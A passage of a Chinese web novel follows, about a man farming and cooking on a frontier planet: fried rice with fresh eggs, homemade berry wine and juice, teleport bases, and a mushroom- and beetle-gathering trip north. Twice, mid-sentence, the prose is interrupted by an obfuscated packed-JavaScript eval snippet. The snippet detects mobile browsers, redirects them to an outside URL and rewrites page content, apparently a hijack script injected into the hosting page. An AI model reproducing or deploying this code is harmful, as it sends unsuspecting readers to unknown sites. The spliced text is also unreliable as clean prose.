他深吸一口气,点火,倒油。油热了。他撒入星葱白碎末,滋啦一声,葱香炸开。然后他倒入蛋液。金色的蛋液在热油中迅速摊开,边缘凝固,泛起金黄色的焦边。他用锅铲快速划散,蛋液在锅中变成了不规则的碎块——嫩滑的、金黄色的、散发着浓郁蛋香的碎块。 然后他把煮好的星米饭倒了进去。橘色的米粒和金色的蛋碎在锅中混合,他用锅铲快速翻炒,让每一粒米都裹上蛋液。星米的热气、鸡蛋的香气、星葱的辛香,在热力的作用下融合在一起,形成了一种他来到星际时代后从未闻到过的味道。 不是蛋白合成粉的“像”,而是真正的、醇厚的、从舌尖一直暖到胃里的蛋香。 他撒了一点点星盐粉,翻炒几下,关火。 锅里的蛋炒饭,橘色的米粒被金黄色的蛋液包裹,星葱的绿色碎末点缀其间,每一粒米都在灯光下泛着油亮的光泽。他用勺子舀了一口,送进嘴里。 蛋香在口腔中炸开。不是蛋白合成粉那种单一的、平面的“蛋味”,而是有层次的、立体的——蛋白的焦香、蛋黄的醇厚、蛋液裹在米粒上的滑嫩、在舌尖上慢慢融化的绵密。星米的清甜和嚼劲,星葱的辛香和回甘,星盐粉的咸味带着草木的余韵。 比蛋白合成粉好吃太多了。不是好一点,是好到没有可比性。 夏炎序坐在灶台前,慢慢地吃完了那碗蛋炒饭。每一口都嚼得很慢,每一口都在认真地感受。他一边吃一边想,等传送基座装好之后,他要去北半球找星蕈。等星蕈到了,他就有天然的鲜味剂了。到时候的蛋炒饭,鲜味会更足,层次会更丰富。 吃完之后,他把碗洗干净,打开多功能终端,在蓝星食铺的商品列表里,把“星米蛋炒饭”的商品描述改成了: “用KX-7791自产星米、生态养殖舱新鲜鸡蛋、原生星葱和星盐粉,采用地球传统烹饪工艺手工制作。米饭粒粒分明,鸡蛋嫩滑香浓,葱香提味。每一份炒饭均由本店店主亲手烹制,现做现售。食材升级:即日起,蛋炒饭中的蛋白合成粉已替换为生态养殖舱新鲜鸡蛋。” 然后他把定价从5星币调整为6星币。 涨价一星币。不是因为贪婪,而是因为鸡蛋的成本确实比蛋白合成粉高。但他相信,那些吃过蛋白合成粉版蛋炒饭的老顾客,在尝到新版蛋炒饭之后,会觉得这一星币花得值。 他给老周和维克多·陈各寄了一份新版蛋炒饭的样品。快递费到付。 老周的回复在快递签收后不到一分钟就来了。 回收站老周 12:23:?????? 回收站老周 12:23:你这个蛋炒饭怎么回事??? 回收站老周 12:24:那个黄色的东西是什么???不是蛋白合成粉吧???这个味道!!!天啊,只恨我不是文豪,不能去赞美这个味道。 夏炎序笑着回复了一句,然后关掉了对话框。 他站起来,走到窗前,推开窗户。 KX-7791的夕阳正在沉入地平线。天空从橘红渐变成深紫,两颗卫星升起来了。远处,农夫一型在稻田中缓慢移动,机械臂精准地收割着成熟的星米。小屋后面,养殖舱的指示灯在暮色中闪烁着柔和的绿光,隐约能听到里面传来的“咯咯”声。小屋门口,探索者三型飞行器安静地停着,银色机身反射着最后一抹夕阳的余晖。 而在星空的某个角落,五个装着传送基座的货运飞船正在跨越光年,向着他飞来。蘑菇人皮肤也在里面。 夏炎序深吸一口气,空气里带着泥土、野草、星米的稻香。养殖舱的智能分解系统把禽类羽毛的气味处理得干干净净,他闻到的只有淡淡的青草香——这个设计他非常满意。 七到十天。基座到了之后,他就可以去北半球了。星蕈、星芥、星姜——那些他只在星网地图上见过的食材,很快就会出现在他的厨房里。 他转身回到厨房,系上围裙,开始做今天的最后一批订单。 14. 浆果与酒 传送基座还在路上,鸡蛋攒了一小筐,酱油在角落里安静地发酵,辣白菜的“咕噜”声一天比一天慢——乳酸菌的活跃期过去了,正在慢慢地、沉稳地转化出更深层的风味。夏炎序的生活节奏也慢了下来。每天早上去养殖舱捡蛋,去田边看看农夫一型的工作进度,然后回到厨房炒饭、拌菜、打包、发货。日子变得规律而平淡,像KX-7791那颗缓缓划过天空的太阳。 但今天,他的目光落在了墙角的那堆紫色浆果上。 那是他穿越到星际后吃的第一种食物。一个月前,他刚来到这颗荒星的时候,就是靠这些酸涩的浆果和硬得像石头的块根植物撑过了最初的几天。那时候他恨不得一辈子不要再看见这些东西——每一口都酸得腮帮子发麻,吃完之后胃里直泛酸水。但现在,他站在那堆浆果前面,心态完全不一样了。 他有了星米,有了鸡蛋,有了辣白菜,有了豆腐。他不再是那个饥不择食的落难者了。他可以站在一个厨师的角度,重新审视这些被他嫌弃了一个月的紫色浆果。 夏炎序蹲下来,拿起一颗浆果,放在手心里端详。紫色比一个月前更深了,接近紫黑色,表面有一层薄薄的白霜——那是果实完全成熟的标志。他凑近闻了闻,酸涩味比之前淡了很多,取而代之的是一股浓郁的果香,有点像蓝莓和桑葚的混合体,但多了一层他形容不出来的、属于这颗星球的独特气息。 他咬了一口。 还是酸的。但不再是那种让人腮帮子发麻的、尖锐的酸。而是一种温和的、圆润的酸,像山楂或青梅,酸里面带着甜,甜里面藏着一种淡淡的花香。他嚼了嚼,果肉在齿间碎裂,汁水在舌头上化开,余味是清甜的,没有之前那种黏在嗓子上的涩感。 完全成熟后的浆果,味道完全不一样了。 夏炎序又吃了一颗,然后第三颗、第四颗。他一边吃一边想,这么多浆果,光是当水果吃,吃到烂都吃不完。他需要找一个更好的处理方式。晒成干?做成果酱?酿成酒?他的思维在“酒”这个字上停住了。 酒。 他已经很久没有喝过酒了。在地球上的时候,他算不上爱喝酒,但周末加班后偶尔会去便利店买一罐啤酒,冰镇的,拉开拉环,第一口永远是最好喝的——气泡在舌尖上炸开,麦芽的苦味和回甘一起涌上来,一天的疲惫就在那一口里消散了大半。后来工作了,应酬的时候喝过白酒,辣喉咙的、烧胃的,他不喜欢。再后来,和朋友们去吃烧烤,喝过几杯梅子酒,酸酸甜甜的,像果汁一样好喝,但后劲大得吓人,每次喝完都断片。 夏炎序低头看了看手里那颗紫色的浆果。酸酸甜甜的,有花香,有回甘。这个做成果酒,会不会像梅子酒一样好喝? 他打开智能终端,在星网上搜索“果酒酿造方法”“家庭酿酒基础教程”。搜索结果比酱油多得多——联邦虽然不流行吃饭,但酒是一直有的。从核心星域的高档酒吧到矿业小行星带的工人俱乐部,到处都有人喝酒。只是他们喝的酒和地球上的不太一样——大部分是合成酒精勾兑的“风味酒”,加了多少种香精就标多少种口味,像营养液一样,味道单一、直接、没有层次。真正用水果酿的酒也有,但价格昂贵,属于奢侈品。 夏炎序翻了几篇酿酒教程,大致理清了思路。果酒的制作原理并不复杂:水果中的糖分在酵母的作用下转化为酒精和二氧化碳。只要控制好温度、糖分和发酵时间,就能得到不同风味的酒。低度酒适合当饮料,中度酒适合佐餐,高度酒适合长期储存。他现在的浆果大概有十几公斤,做一批果酒足够了。但他没有酵母。 他继续往下翻教程,在“家庭酿酒常见问题”里找到了一条有用信息:“如果没有专用酿酒酵母,可以用水果表面的天然酵母。将未清洗的水果(表面的白霜就是天然酵母)与糖水混合,在温暖环境中培养24-48小时,即可获得活性发酵液。” 夏炎序低头看了看手里那颗浆果表面的白霜。原来那不是糖分,是酵母。 他站起来,走到墙角,把那堆紫色浆果全部搬到了厨房的台面上。浆果大部分已经完全成熟,紫黑色的果皮上覆盖着薄薄的白霜。他挑了一些最熟的出来,大约三公斤,放在一个大碗里。剩下的十几公斤,他打算一部分做成果酒,一部分做成果酱和果汁。 第一步,培养天然酵母。他把挑好的浆果用手轻轻捏破——不能捏太碎,只要果皮裂开就行——放入一个干净的密封盒里,加入凉白开和蜂蜜。 蜂蜜是他前几天刚发现的。之前让农夫一型去采摘星椒的时候,他顺手翻看了机器人沿途拍摄的巡查视频,发现在星椒产区不远处的岩壁上,附着着几个硕大的蜂巢。他给机器人下载了“不伤害蜜蜂采集蜂蜜”的程序——星际时代的采集技术比地球文明得多,不需要割下整块蜂巢,而是用一种温和的抽离方式,让蜂巢“自愿吐出”多余的蜂蜜。岩壁上的蜂巢很多,他在每个蜂巢只采集了一点点,就这样也收集回来了五十公斤。 蜂蜜的甜度很高,带着花果的清香,比地球上的蜂蜜多了一层清雅的回甘。这本来是打算用来做红烧肉的调味,没想到先用在酿酒上了。 搅拌均匀后,他盖上盖子,把密封盒放在小屋温暖的角落里。24到48小时,酵母就会开始工作。 然后他回到厨房,开始处理剩下的浆果。 十几公斤浆果,一颗一颗地挑拣、清洗、去蒂。熟透的放在一起做酒,七八分熟的放在一起做果汁,太青涩的留着下次用。他一边挑一边忍不住往嘴里塞——完全成熟的浆果太好吃了,酸酸甜甜的,比地球上任何一种浆果都多了一层花香。等他挑完所有的浆果,肚子已经半饱了。 第二天,酵母液冒泡了。 夏炎序蹲在角落里,看着密封盒里那碗紫红色的液体,表面上浮着一层细密的气泡,“啪啪”地破裂,发出极其微弱的声音。他打开盒盖闻了闻——酸酸甜甜的,带着淡淡的酒香。成了。 他把酵母液倒进一个大玻璃罐里——这个罐子是他之前在星网上买的,密封性一般,但做果酒足够了。然后加入捏碎的熟浆果、蜂蜜、凉白开,搅拌均匀。玻璃罐里的液体是深紫色的,浆果的果肉沉在底部,蜂蜜和酵母液在水面上形成了一层薄薄的泡沫。他用纱布盖住罐口,用橡皮筋扎紧——不能完全密封,发酵产生的二氧化碳需要排出去。 “好了,”他拍了拍玻璃罐的罐壁,“剩下的就看你们的了。” 罐子里的液体晃了晃,气泡从底部升上来,一串一串的,像是在回应。 做果酒的同时,夏炎序也没有忘记果汁。他把那些七八分熟的浆果洗干净,放进食物处理器里打成浆,然后用纱布过滤,得到了一大碗深紫色的果汁。他尝了一口——比果酒的原液更甜,酸味更柔和,花香更浓郁。加冰块喝,应该非常解渴。但他没有冰块。他想了想,把果汁倒进几个封装盒里,放进食物处理器的冷藏室——这个功能他之前从来没有用过,因为没什么需要冷藏的东西。现在有了。 两小时后,他从冷藏室里拿出一盒果汁。封装盒的外壁上凝着一层水珠,摸上去冰凉冰凉的。他打开盖子,喝了一口。 冰凉的、酸甜的、花香浓郁的液体从喉咙一路滑下去,在胃里绽开一朵清凉的花。不是营养液那种单一的、化学合成的味道,而是鲜活的、有生命的、能感受到阳光和雨露的味道。 夏炎序端着那盒冰果汁,坐在窗前,看着KX-7791的夕阳慢慢沉入地平线。 他忽然觉得,这颗星球好像越来越像一个家了。有了蛋炒饭,有了辣白菜,有了豆腐,有了炝拌小白菜,现在又有了果汁和酒。菜单上的空白正在被一道一道地填满,厨房里的角落正在被一瓶一瓶地占据。 三天后,果酒开始冒泡了。 夏炎序蹲在玻璃罐前面,看着里面的液体在缓慢地翻涌。浆果的果肉被气泡托到水面,又沉下去,再托起来,像一场无声的、缓慢的舞蹈。液体的颜色从深紫色变成了紫红色,清澈了一些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420251|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能隐约看到罐底沉淀的果渣。他打开纱布闻了闻——酒香扑鼻。不是那种刺鼻的、工业酒精的味道,而是温和的、甜美的、带着果香和花香的酒味,像青梅酒,像桑葚酒,像所有在夏天的傍晚让人微醺的东西。 他拿了一个干净的勺子,舀了一小口,送进嘴里。 甜、酸、酒香、花香,余味悠长。酒精感不重,他用智能终端分析了一下,正好八度。像一杯好喝的果味饮料,但夏炎序知道,这还只是发酵初期。等糖分完全转化为酒精之后,酒精度会上升到十度以上。如果继续发酵,继续加糖,甚至可以做到十五度、二十度。他想了想,决定等这一罐发酵完成后,再分批次处理——一批做成低度果酒,当饮料卖。一批继续陈酿,做成中度佐餐酒。一批长期储存,做成高度烈酒。 他在笔记本上记了一笔:果酒(低度)——定价?果酒(中度)——定价?果酒(高度陈酿)——定价?然后划掉,重新写:先做出来,尝过味道再定价。 他打开多功能终端,在蓝星食铺的商品列表里,新增了两个商品条目。 商品名称:星紫果汁(冰镇) 定价:3星币/250毫升 商品描述:“用KX-7791原生星紫浆果鲜榨制成,不添加任何人工香精和防腐剂。酸甜适口,花香浓郁,冰镇后风味更佳。适合作为餐前开胃饮料或佐餐饮料。” 商品名称:星紫果酒(低度·试制品) 定价:8星币/200毫升 商品描述:“用KX-7791原生星紫浆果自然发酵酿制,不添加任何人工酒精和香精。酒精度8%,果香浓郁,酸甜平衡,适合不胜酒力的顾客。试制品限量供应,售完即止。” 他盯着这两个新上架的菜品,嘴角翘了翘。然后他想起了一件事——他没有冰镇设备。食物处理器的冷藏室只有巴掌大小,放两三盒果汁就满了。如果果汁卖得好,他根本来不及冰。他打开星网,搜索“小型制冷设备”“商用冰柜”“速冷机”。搜索结果里出现了一个叫“瞬冷柜”的东西——采用微型空间制冷技术,三十秒内就能把常温饮品降温到零度。价格:1800星币。他看了一眼账户余额:一百星币。买不起。他把“瞬冷柜”加入了购物车,等有钱了再买。 现在,他只能用土办法——提前把果汁放进冷藏室,慢慢冰。一天最多冰十盒。限量供应,售完即止。 他在商品描述里加了一行字:“每日限量10盒,售完即止。” 然后他关掉终端,走到玻璃罐前,给果酒换了一次纱布。酒香比昨天更浓了,液体也比昨天更清澈了一些。他深深地吸了一口气,然后盖好纱布,站起来,走到窗前。 KX-7791的夜晚安静得像一幅画。两颗卫星已经升起来了,一大一小,一明一暗,在夜空中交相辉映。银河的光带从地平线的一端延伸到另一端,星星密集到几乎分不清彼此。 远处,农夫一型的指示灯在黑暗中闪烁着微弱的绿光。小屋后面,养殖舱的灯光已经调到了夜间模式,柔和的暖光透过舱门缝隙渗出来,像一盏不灭的夜灯。厨房的角落里,果酒在玻璃罐里缓慢地翻涌,发出极其微弱的“咕噜”声。和辣白菜的“咕噜”声混在一起,此起彼伏,像两只小动物在对话。 夏炎序躺在床上,闭上眼睛。 明天,果汁就要上架了。他不知道星际人会不会喜欢这种酸酸甜甜的饮料。他们喝惯了营养液那种寡淡的东西,味蕾会不会觉得果汁太刺激了?他翻了个身,又想到果酒。果酒应该没问题——星际人本来就喝酒,只是没喝过真正的果酒。他们的酒都是合成酒精勾兑的,单一、直接、没有层次。果酒不一样。果酒是有生命的——酵母在液体里活着、工作着、死去着,把糖分变成酒精,把果香变成酒香,把简单的味道变成复杂的、有层次的、余味悠长的风味。 他笑了笑,把被子拉过头顶。 角落里的“咕噜”声越来越慢了。酵母和乳酸菌都睡着了。 15. 北半球 传送基座到货的那天,夏炎序正在厨房里炒今天的第六十份蛋炒饭。 智能终端弹出一条通知:“您的包裹已送达。五个传送基座已到达KX-7791地表寄送终端。”他关了火,擦了擦手,快步走出门。寄送终端上整整齐齐地码着五个银白色的金属圆盘,每个大约盘子大小,厚度不过三指,表面是细腻的磨砂质感,边缘镶嵌着一圈淡蓝色的晶体。 他先把基座拿到屋外的空地上,按说明书上的指引,在智能终端上点击了“展开”。基座发出一阵轻微的嗡鸣声,圆盘边缘的蓝色晶体逐一亮起。终端弹出皮肤选择界面——几个免费的基础皮肤,以及他特意买的蘑菇人联名款。他选了蘑菇人,淡蓝色的晶体在瞬间变成了暖黄色,基座表面的金属质感也变成了磨砂的红色底漆,白色的圆点均匀地分布在边缘。夏炎序盯着它看了几秒,嘴角抽了一下。有点丑萌。 五个基座的皮肤都设置好后,他让智能终端把它们全部收合成运输状态——每个基座缩成了巴掌大小的金属方块,方便携带。他抱起五个方块走到屋后,在距离养殖舱大约十米的空地上选了一块平坦的地方,准备安装第一个。 安装过程比他想象的简单得多。把基座放在地上,按下启动键,它会自动检测地面平整度——如果不平,底部的微型调节装置会自动调整支脚,直到基座完全水平。然后基座上方撑开一个巴掌大小的折叠太阳能板,薄薄的,像一片银色的叶子。夏炎序蹲下来看了看那块太阳能板,有点感慨。这么小的东西,电力就足够传送基座一天不间断地使用。而生活在星际大城市里的人,争抢的能源又该是什么水平?他想象不出来。 基座的蓝色指示灯亮起,意味着已经待命。第一个基座安装完成。夏炎序站在圆圈中央,智能终端弹出一行提示:“检测到附近有传送基座,是否绑定?” “是。” “绑定成功。当前传送网络节点数:1。请为节点命名。” 他想了想,输入了“家”。 光圈亮了一下,像是在回应。他走出传送圈,回头看了一眼。一个红底白点的蘑菇伞安静地蹲在屋后空地上,边缘的暖黄色光圈在暮色中微微发亮。 接下来是第二个、第三个、第四个、第五个。他没有急着去装——北半球的基座要坐飞行器去装,那是明天的事。他把四个迷你基座方块放进飞行器的储物盒,检查了燃料、导航系统和应急设备。一切就绪后,他回到屋里,打开智能终端,调出KX-7791的生态调查报告,开始做功课。 原主的调查报告他之前只粗略看过一遍,重点关注的是可食用植物。但这次不一样——他要去的北半球,是这颗星球上生态最丰富的区域。报告显示,北半球有记录的植物种类超过两千种,其中可食用或可能有食用价值的超过三百种。而他之前只标记了星蕈、星芥、星姜这三个大类——准确地说,是这三类植物中被他注意到的那几个品种。星蕈不是一个品种,是一类真菌的统称。报告里列出的星蕈属真菌,有记录的就超过四十种。有的长在腐木上,有的长在活树的根部,有的长在落叶层下面。菌盖的颜色从浅棕到深紫,菌褶从白色到淡紫色,气味从清淡的果香到浓烈的肉香,应有尽有。 夏炎序越看越兴奋。他需要的鲜味剂——那种能替代味精和鸡精的天然提鲜粉——可能不止一种星蕈能做到。也许有些品种鲜味更浓,有些带有特殊的果香或坚果香,有些干燥后风味更好。他需要在现场闻、现场尝、现场判断。 他又往下翻了翻,在报告的附录部分找到了一个他之前从未注意过的章节——“动物相概览”。KX-7791的动物种类远比他想象的丰富。北半球的森林里有几种小型哺乳动物、十几种爬行动物、几十种昆虫。大部分与人类农业没有直接关系,但有一条记录引起了他的注意。 “KX-未编号103:鞘翅目昆虫,成虫体长约1.5-2厘米,翅鞘呈金属绿色,幼虫生活在腐木中,富含蛋白质和几丁质。分布:KX-7791北半球温带森林,常见于星蕈生长区域附近。” 报告的附注里有一行小字:“初步分析显示,该昆虫的幼虫和成虫均含有一种未知的抗菌肽,对禽类的肠道健康有潜在益处。建议进一步研究。” 夏炎序盯着这行字看了很久。禽类的肠道健康——他正好养了一群鸡。如果这种昆虫真的对鸡有好处,那他就不只是去北半球采集食材了,他还要给鸡找零食。他在终端电子笔记本上记了一笔:寻找绿色甲虫,带回去给鸡试试。 然后他关掉终端,躺到床上,闭上眼睛。明天,他要去北半球。 第二天清晨,夏炎序天没亮就起了床。他又检查了一遍飞行器的状态——燃料满格,导航系统正常,应急设备齐全。他在背包里装了几个空的采集盒、一把小花铲、一把剪刀、一台手持式生物扫描仪,以及足够两天吃的干粮——几份封装好的蛋炒饭和两盒果汁。出发前,他在蓝星食铺的公告牌上挂了一条消息:“店主休假两天,星际周一恢复营业。今后营业时间调整为:营业五天,休息两天。” 他坐进驾驶舱,安全带自动系好,在控制面板上输入了第一个目标坐标——北半球星蕈森林的入口,根据生态调查报告的标注。系统弹出一条提示:“预计飞行时间:2小时8分钟。燃料消耗:34%。当前天气:晴,西北风3级,适宜飞行。是否确认?” “确认。”飞行器发出一阵低沉的嗡鸣声,缓缓升空。磁悬浮停靠平台释放了离子光结界,飞行器轻巧地离开了地面。夏炎序透过驾驶舱的透明罩往下看——小屋越来越小,变成了一颗白色的棋子;养殖舱的灰色方块像一块积木;农夫二型在稻田里缓慢移动,像一只勤劳的甲虫。然后小屋变成了一个点,黑土地变成了一片无边无际的深褐色画布,画布的边缘是模糊的、渐变的——那是地平线。 飞行器爬升到巡航高度后,自动导航系统接管了控制。夏炎序靠在座椅上,看着窗外的风景从南半球的黑土平原变成北半球的针叶林带。树木越来越密,颜色从深绿变成浅绿,又变成金黄——北半球的秋天比南半球来得早。他看到了一条蜿蜒的河流,在阳光下闪着银光;看到了一片湿地,水面上漂浮着不知名的水生植物;看到了一座低矮的山脉,山顶覆盖着白色的东西——不是雪,是某种白色的岩石或苔藓。 两个小时后,飞行器开始下降。驾驶舱里响起提示音:“已到达目标区域。正在搜索合适的降落地点。”夏炎序透过透明罩往下看——一片深绿色的针叶林,树冠密密麻麻地挤在一起,像一张巨大的绿色地毯。森林的边缘有一片空地,大约几十平方米,地面覆盖着厚厚的落叶和腐木。 “降落地点已确认。开始降落。”飞行器缓缓下降,起落架在接触到地面的瞬间微微压缩了一下,然后稳稳地停住了。夏炎序解开安全带,跳出驾驶舱,脚踩在松软的落叶层上,发出“沙”的一声。 空气和南半球完全不一样。南半球的风是干的、冷的,带着泥土和野草的气味。这里的风是湿的、凉的,带着腐木、苔藓、蕨类植物的混合气味——潮湿的、古老的、充满生命力的味道。 他通过智能终端让飞行器升空,切换到跟随模式——飞行器会悬浮在头顶大约五十米的高度,像一只忠诚的银色大鸟,跟着他在森林里移动。然后他收紧背包的肩带,深吸了一口气,走进了森林。 森林比他想象的更深、更暗。高大的针叶树遮住了大部分天空,阳光透过树冠的缝隙洒下来,在地面上形成斑驳的光斑。空气潮湿而凉爽,脚踩在厚厚的落叶层上,每一步都发出沙沙的声音。他打开手持式生物扫描仪,把探测范围设置为半径五十米。屏幕上的数据开始跳动——温度、湿度、光照强度、植物种类识别、真菌种类识别。 他找到了第一个星蕈。它长在一棵倒下的腐木上,菌盖是浅棕色的,边缘微微卷起,菌褶是淡紫色的,在斑驳的光线下泛着微弱的光泽。他蹲下来,用扫描仪对准它。屏幕上弹出一行字:“星蕈属,未命名品种。特征:菌盖浅棕色,菌褶淡紫色,气味温和,鲜味物质含量中等。可食用,建议干燥后使用。” 他摘了一朵,凑近闻了闻。气味比他记忆中的蘑菇味道淡一些,没有那种浓郁的肉香,而是更偏向草木的清香。他确认扫描仪显示无毒后,咬了一小口菌褶。鲜味在舌头上慢慢化开,不是爆炸式的冲击,而是温和的、持久的,像一锅慢慢炖出来的清汤。他犹豫了一下,还是把它放进了采集盒里——虽然鲜味不算浓烈,但也许它有自己的用处。清淡的鲜味,适合做清汤或蒸菜。 他继续往前走。扫描仪不断发出提示音,屏幕上显示着周围植物的识别结果。大部分是普通的蕨类、苔藓、灌木,偶尔有几棵他没见过的开花植物。走到第二十七分钟的时候,扫描仪弹出了一条不同的提示:“检测到星蕈属新品种。特征:菌盖深紫色,近黑色,菌褶白色,气味浓烈,鲜味物质含量高。可食用,建议少量测试。” 夏炎序顺着扫描仪的指引拨开一丛蕨类植物,在一棵老树的根部找到了它。菌盖是深紫色的,几乎接近黑色,表面有一层薄薄的黏液,摸上去滑滑的。菌褶是纯白色的,非常密集。他摘了一朵,凑近闻了闻——一股浓烈的、几乎像肉汤一样的气味扑鼻而来,带着一点点的硫化物气息,有点像松露。他咬了一小口菌褶。鲜味在舌尖上炸开,比他之前用过的任何一种星蕈都要浓烈,浓烈到几乎有点冲。但余味是纯净的,没有苦味,没有涩味,只有鲜。 夏炎序的眼睛亮了。这个可以用来做“强力鲜味粉”——只需要一点点,就能让整道菜的鲜味提升一个档次。他小心地把这朵深紫色的星蕈放进另一个采集盒里,在终端电子笔记本上记了一笔:星蕈2号,深紫色,鲜味极浓,用量需谨慎。 接下来的三个小时,他在森林里走了大约五公里。扫描仪记录了一百多种真菌,其中星蕈属的有十七种。他每种都采样了一小部分——一朵或两朵,放进不同的采集盒里,编好号,在终端电子笔记本上记录下外观、气味、生长环境。大部分星蕈的鲜味都很普通,有三四种明显优于他之前用的那个品种。还有一种——编号星蕈7号——让他当场愣在原地。 那是一种长在落叶层上的小型星蕈,菌盖只有拇指盖那么大,浅黄色的,几乎和落叶的颜色一模一样,如果不是扫描仪提示,他根本发现不了。他蹲下来,拨开落叶,露出那几朵小小的、不起眼的蘑菇。凑近闻了闻——没有任何气味。他摘了一朵放进嘴里,嚼了嚼。 先是甜的。一种清甜的、像新鲜玉米一样的甜味在舌尖上绽开。然后鲜味来了,不是星蕈2号那种暴烈的、冲击式的鲜,而是温柔的、绵长的、从舌根慢慢向前蔓延的鲜,像一锅炖了半天的老母鸡汤。他站在原地嚼了很久,直到那朵小小的蘑菇在嘴里完全化开。余味是甜的,鲜味在喉咙里停留了大约一分钟才慢慢散去。 他深吸一口气,然后在终端电子笔记本上把“星蕈7号”下面画了两条红线。这个不是用来做鲜味粉的。这个适合鲜食——做汤、做蒸菜、做炖菜,它本身就是一个完美的提鲜食材。他小心翼翼地把周围能看到的每一朵浅黄色小蘑菇都摘了下来,一共不到二十朵,装进一个单独的采集盒里,标注了“星蕈7号·鲜食专用”。 太阳开始偏西的时候,夏炎序找了一块平坦地,从背包里取出便携式野营帐篷,按下一个按钮,帐篷自动弹开成型。他的背包里多了十几个采集盒,装满了不同品种的星蕈。有的鲜味浓烈,有的气味独特,有的适合干燥保存,有的适合新鲜食用。他坐在帐篷自带的户外椅上,从背包侧袋里摸出一盒果汁喝了几口,然后拿出终端电子笔记本开始整理今天的收获。户外驱虫灯在他脚边静静亮着,把周围的蚊虫隔绝在光圈之外。 十七种星蕈,其中五种有明显高于普通品种的鲜味,三种有独特的风味特征,一种适合鲜食。可惜当初他在报告中浏览过的那种星蕈没有找到——也许是季节不对,也许分布区域不在这片森林。 他深吸了一口气,用智能终端召回了头顶的飞行器。飞行器从树冠上方缓缓降落到空地上,他打开储物舱,取出一个迷你传送基座方块,在空地上安装好。蓝色的光圈亮起,他在终端上给这个节点命名为“北半球·星蕈森林1号”。 第一个传送点装好了。他站在光圈里,输入了“家”的坐标。确认。0.3秒后,他站在了小屋后面的蘑菇伞传送圈里。他愣了一秒,然后转身又走回光圈里,输入了“北半球·星蕈森林1号”。0.3秒后,他又回到了森林里。他站在原地,花了大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420252|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十秒钟消化这种奇妙的感觉——两个多小时的路程,变成了眨一下眼的事。 他喊了一声在田垄上四十五度仰望星空的农夫二型,带着它一起传送到了北半球。他给机器人下达了指令:让飞行器带着它在夜间搜索这片森林,生物扫描仪已经标注了那三种星蕈的特征参数,只要附近有匹配的品种就会发出提示。机器人坐在飞行器上,手持生物扫描仪,在夜色的掩护下缓缓升空,开始了今晚的采集任务。 他看着远去的三件套组合——飞行器、机器人、扫描仪,在暮色中变成一个移动的小光点。合上终端电子笔记本,他站起来,又从背包里拿出第二台扫描仪。当初买的时候赶上打折,他咬咬牙买了三台,现在看来这个决定是对的。只有一个机器人的时候还不觉得,现在要做的事情多了,才真正体会到什么叫捉襟见肘。但钱包不允许他再添置更多设备了。路漫漫其修远兮。 他打开头灯,正准备往和飞行器相反的方向再搜寻一段,扫描仪突然弹出了一条提示:“检测到KX-未编号103(鞘翅目昆虫)活动迹象。方向:东北,距离:约30米。” 绿色甲虫。他差点忘了这回事。夏炎序背上背包,从侧袋里掏出一个空的采集盒,朝扫描仪指示的方向走去。三十米外是一棵倒下的老树,树干已经腐烂了大半,表面覆盖着青苔和蕨类。他蹲下来,拨开一片树皮——几只金属绿色的甲虫正在腐木上缓慢爬行,翅鞘在头灯的光线下闪烁着几乎不真实的绿色光芒。 他打开扫描仪,对准其中一只。屏幕上弹出一行详细的报告:“KX-未编号103,鞘翅目。成虫体长1.8厘米,翅鞘金属绿色,幼虫乳白色,生活在腐木中。蛋白质含量62%,几丁质含量12%。含有一种未知的抗菌肽,实验室条件下对禽类肠道中的致病菌有显著抑制作用。对标准农场鸡的初步测试显示,饲料中添加5%的该昆虫干粉,可使肠道有益菌群增加约30%,蛋壳厚度增加约8%。” 夏炎序盯着屏幕,嘴巴微微张开。5%的添加量,蛋壳厚度增加8%。蛋壳厚了,鸡蛋就更耐运输、耐储存,蛋黄的比例也会更稳定。而且肠道有益菌群增加,意味着鸡更健康,产蛋率更高,鸡蛋的品质也会更好。 他立刻蹲下来,开始抓甲虫。虫子爬得不快,也不怎么怕人,他用手一捏就起来了。翅鞘硬硬的,底下的翅膀叠得很整齐,六条小腿在空中徒劳地划动。他把它们一只一只地放进采集盒里,数了数——成虫抓了二十多只,又在腐木里翻出十几只乳白色的幼虫。他把成虫和幼虫分开放,在终端电子笔记本上记了一笔:带回去给鸡吃,成虫和幼虫都试试。 天边最后一丝光已经消失了。云层挡住了两颗卫星的光,森林里黑黢黢的,只有头灯照亮前方一小片区域。夏炎序走了几步,树影在灯光里摇晃,远处传来不知名的虫鸣声。他有点心慌,即使有高科技装备傍身,他还是决定相信自己的第六感。今晚的搜索就到这里。 他回到帐篷边,没有收回帐篷——明天还要继续用。他走到传送基座前,输入了“家”的坐标。确认。0.3秒后,他站在了小屋后面的蘑菇伞传送圈里。 暮色中,养殖舱的暖光从门缝里渗出来,厨房的窗户亮着灯。他走进养殖舱,打开采集盒,把几只绿色甲虫倒进养殖舱的饲料处理器中。他在智能终端上设置了配比——成虫组按5%的比例添加到饲料中,幼虫组也按5%的比例添加到另一个料槽中。养殖舱中间升起一道带气孔的透明隔板,他把鸡群均分成两边,打算养一段时间,看看是吃成虫的效果好,还是吃幼虫的效果好。 